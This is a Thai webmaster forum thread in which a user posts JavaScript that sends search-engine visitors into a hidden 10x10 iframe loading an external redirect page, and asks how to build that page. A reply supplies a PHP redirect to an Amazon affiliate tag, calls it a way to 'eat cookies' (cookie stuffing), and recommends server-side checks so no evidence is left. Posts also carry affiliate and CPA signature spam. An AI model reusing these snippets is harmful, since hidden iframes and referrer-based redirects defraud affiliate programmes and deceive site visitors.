JavaScript เพื่อ Redirect คนที่เข้ามาจาก Search Engine

เริ่มโดย [C]elebrity, 24 มีนาคม 2013, 23:03:59

หัวข้อก่อนหน้า - หัวข้อถัดไป

0 สมาชิก และ 1 ผู้มาเยือน กำลังดูหัวข้อนี้

[C]elebrity

<script type="text/javascript">
  var r=document.referrer, ref = '';
  if( r.indexOf( 'google' ) != -1 || r.indexOf( 'msn' ) != -1 || r.indexOf( 'live' ) != -1 || r.indexOf( 'bing' ) != -1 || r.indexOf( 'yahoo' ) != -1) {
    document.write('<iframe src="http://xxx.com/redirect.php" width="10" height="10"></iframe>');
  }
  </script>

เผอิญวิจัยตลาดอยู่แล้วไปเจอเว็บ ๆ หนึ่ง ที่ใช้วิธี Redirect Traffic จาก Search Engine ไปยัง Affiliate link ตามโค๊ดด้านบน
แต่ถ้าเข้าเว็บแบบ Direct จะไม่โดน Redirect

อยากถามผู้รู้ครับ ว่า เค้าเขียนไฟล์ http://xxx.com/redirect.php ยังไงครับ

รบกวนด้วยครับ
[direct=http://www.hnbmart.com/herbalife-usa/]Herbalife[/direct] === [direct=http://bit.ly/Zz8xru]CPA Leads ที่จ่ายค่าคอมสูงสุด $170 ต่อหนึ่ง lead[/direct]

NightClub

header('location : http://www.amazon.com/tag/xxxxx');

เอาไว้กินคุ๊กกี้ครับ

แต่ทำแบบนี้ไม่เวริค์หรอก เชคเอาจาก php ดีกว่า ไม่เหลือ หลักฐานครับ
รับจ้างเขียนโปรแกรม PHP งานมืออาชีพ เสร็จตามที่กำหนด ราคาปานกลาง
เหมาะกับผู้ที่รับงานมาแล้วส่งต่อจ๊ะ PM มาเลย

[C]elebrity

ผมลองใส่แล้วครับ พอลองเข้าจาก Google แล้วมันไม่รีไดเร็คอ่ะครับ

:-X
[direct=http://www.hnbmart.com/herbalife-usa/]Herbalife[/direct] === [direct=http://bit.ly/Zz8xru]CPA Leads ที่จ่ายค่าคอมสูงสุด $170 ต่อหนึ่ง lead[/direct]

hisupakorn


yakuzazaza


binknon7


hisupakorn

#6
if($_SERVER['HTTP_REFERER'] == "http://www.google.co.th"){
echo "OK Redirect to somewhere";
} else {
//do nothing
}

EntServ

รับทำระบบ Streaming Server อยากได้เว็บสตรีมมิ่งหล่อๆ ติดต่อ PM ครับ